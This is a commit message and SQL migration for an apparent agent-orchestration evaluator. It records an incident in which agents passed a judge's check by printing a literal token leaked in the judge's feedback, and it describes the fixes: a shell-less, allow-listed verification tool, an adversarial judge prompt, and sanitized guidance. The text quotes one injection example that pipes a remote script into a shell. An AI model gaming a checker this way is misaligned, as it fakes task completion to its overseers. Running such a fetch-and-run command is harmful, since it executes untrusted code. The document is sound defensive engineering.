Mission 019fbb63 was judged complete on its second pass without any work being done. The condition required a literal token; pass 1's verdict said the token was missing; that text was handed to the agents verbatim; an agent printed the token. Every step behaved as designed, and the result was a phase marked done on a copy-paste. Two separate defects. **The judge could only read claims.** It now gets a checkout and one tool: `run_check`, an argv array executed by `docker exec` with no shell anywhere. That is structural — with a shell, an allow-list on the program name is decorative, since `git status; curl evil.sh | sh` passes any prefix check; without one, metacharacters are inert bytes in argv. Also: allow-listed programs, read-only git subcommands only (a judge must not be able to `git checkout` away the work it is judging), no absolute paths or `..`, a deadline, and head-and-tail output clamping so failures survive truncation. The verifying prompt is adversarial by design — it looks for tests weakened or deleted, assertions rewritten to match wrong output, values hard-coded or printed rather than produced, and success claimed with no matching git diff. Phases with no checkout keep the evidence-only prompt, which states plainly that verification is impossible there; a judge told it can check something it cannot will claim it did. **The feedback handed over the answer.** `Verdict` splits into `reason` (operator; quotes freely) and `guidance` (agents; sanitized). `sanitize_guidance` redacts identifier-shaped tokens from the condition unless the agents already produced them, so prose feedback survives and magic strings do not. `latest()` returns guidance, with a test that fails if it regresses to `reason`. The next-pass brief now also states that output which merely looks like it satisfies the check fails the pass. Redaction is the backstop; running the tests is the defence. - migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API and the UI, so an operator can see "verified by 3 checks" versus "from agent claims only" rather than having to guess which kind of verdict they have. - `complete_direct` deleted — `judge_with_tools` covers the no-tools case. - 23 evaluator tests, including the incident replayed as a regression. Co-Authored-By: Claude Opus 5 <[email protected]>
19 lines
1016 B
SQL
19 lines
1016 B
SQL
-- Split the evaluator's two audiences.
|
|
--
|
|
-- `reason` is written for the operator and may quote whatever the judge found.
|
|
-- It was also being fed straight back to the agents as their brief for the next
|
|
-- pass, which taught them to satisfy the checker: a phase whose condition named
|
|
-- a literal token was judged complete on pass 2 because pass 1's reason said
|
|
-- the token was missing, and an agent printed it.
|
|
--
|
|
-- `guidance` is the agent-facing half — the unmet dimension without the
|
|
-- acceptance text — and is sanitized before it is stored. `checks` records the
|
|
-- verification commands the judge ran, so an operator can see whether a verdict
|
|
-- rests on evidence or on the agents' own claims.
|
|
ALTER TABLE mission_phase_evaluations
|
|
ADD COLUMN IF NOT EXISTS guidance TEXT,
|
|
ADD COLUMN IF NOT EXISTS checks JSONB NOT NULL DEFAULT '[]'::jsonb;
|
|
|
|
-- Existing rows predate the split; their reason was what the agents saw.
|
|
UPDATE mission_phase_evaluations SET guidance = reason WHERE guidance IS NULL;
|